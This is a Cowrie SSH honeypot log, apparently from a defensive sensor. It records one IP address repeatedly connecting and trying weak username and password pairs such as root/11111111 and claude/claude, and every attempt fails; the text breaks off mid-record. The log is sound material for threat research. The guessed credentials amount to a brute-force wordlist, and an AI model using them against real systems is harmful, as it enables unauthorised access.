{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:51.923433Z","src_ip":"91.92.42.133","session":"6f5ae326bc70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:52.302766Z","src_ip":"91.92.42.133","session":"6f5ae326bc70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:53.402929Z","src_ip":"91.92.42.133","session":"6f5ae326bc70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49708,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2768f792b2","protocol":"ssh","message":"New connection: 91.92.42.133:49708 (159.203.135.109:22) [session: 9d2768f792b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:59.250507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:59.410136Z","src_ip":"91.92.42.133","session":"9d2768f792b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:59.413211Z","src_ip":"91.92.42.133","session":"9d2768f792b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:59.986500Z","src_ip":"91.92.42.133","session":"9d2768f792b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:01.128677Z","src_ip":"91.92.42.133","session":"9d2768f792b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40768,"dst_ip":"159.203.135.109","dst_port":22,"session":"a69ae3cc5e48","protocol":"ssh","message":"New connection: 91.92.42.133:40768 (159.203.135.109:22) [session: a69ae3cc5e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:07.226531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:07.298332Z","src_ip":"91.92.42.133","session":"a69ae3cc5e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:07.404680Z","src_ip":"91.92.42.133","session":"a69ae3cc5e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:07.978480Z","src_ip":"91.92.42.133","session":"a69ae3cc5e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:09.260895Z","src_ip":"91.92.42.133","session":"a69ae3cc5e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40796,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eae16763b03","protocol":"ssh","message":"New connection: 91.92.42.133:40796 (159.203.135.109:22) [session: 6eae16763b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:14.363696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:14.455626Z","src_ip":"91.92.42.133","session":"6eae16763b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:14.466411Z","src_ip":"91.92.42.133","session":"6eae16763b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:15.466556Z","src_ip":"91.92.42.133","session":"6eae16763b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:17.279044Z","src_ip":"91.92.42.133","session":"6eae16763b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57996,"dst_ip":"159.203.135.109","dst_port":22,"session":"daec30fcf494","protocol":"ssh","message":"New connection: 91.92.42.133:57996 (159.203.135.109:22) [session: daec30fcf494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:20.543976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:21.171984Z","src_ip":"91.92.42.133","session":"daec30fcf494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:21.174527Z","src_ip":"91.92.42.133","session":"daec30fcf494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:23.733247Z","src_ip":"91.92.42.133","session":"daec30fcf494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:25.391273Z","src_ip":"91.92.42.133","session":"daec30fcf494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3853ba2f3a9e","protocol":"ssh","message":"New connection: 91.92.42.133:54350 (159.203.135.109:22) [session: 3853ba2f3a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:28.771282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:29.517286Z","src_ip":"91.92.42.133","session":"3853ba2f3a9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:29.520874Z","src_ip":"91.92.42.133","session":"3853ba2f3a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:32.084980Z","src_ip":"91.92.42.133","session":"3853ba2f3a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:33.848932Z","src_ip":"91.92.42.133","session":"3853ba2f3a9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44318,"dst_ip":"159.203.135.109","dst_port":22,"session":"10c1786090ad","protocol":"ssh","message":"New connection: 91.92.42.133:44318 (159.203.135.109:22) [session: 10c1786090ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:36.563361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:37.033538Z","src_ip":"91.92.42.133","session":"10c1786090ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:37.036012Z","src_ip":"91.92.42.133","session":"10c1786090ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:38.534359Z","src_ip":"91.92.42.133","session":"10c1786090ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:39.931054Z","src_ip":"91.92.42.133","session":"10c1786090ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44388,"dst_ip":"159.203.135.109","dst_port":22,"session":"213cd6591090","protocol":"ssh","message":"New connection: 91.92.42.133:44388 (159.203.135.109:22) [session: 213cd6591090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:43.763198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:43.888440Z","src_ip":"91.92.42.133","session":"213cd6591090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:43.891547Z","src_ip":"91.92.42.133","session":"213cd6591090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:45.168058Z","src_ip":"91.92.42.133","session":"213cd6591090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:46.298901Z","src_ip":"91.92.42.133","session":"213cd6591090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53540,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ee32187bd4","protocol":"ssh","message":"New connection: 91.92.42.133:53540 (159.203.135.109:22) [session: 03ee32187bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:51.127722Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33488,"dst_ip":"10.17.0.5","dst_port":22,"session":"d799be125cec","protocol":"ssh","message":"New connection: 27.71.230.31:33488 (10.17.0.5:22) [session: d799be125cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:51.175863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:51.223624Z","src_ip":"27.71.230.31","session":"d799be125cec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:51.483066Z","src_ip":"91.92.42.133","session":"03ee32187bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.c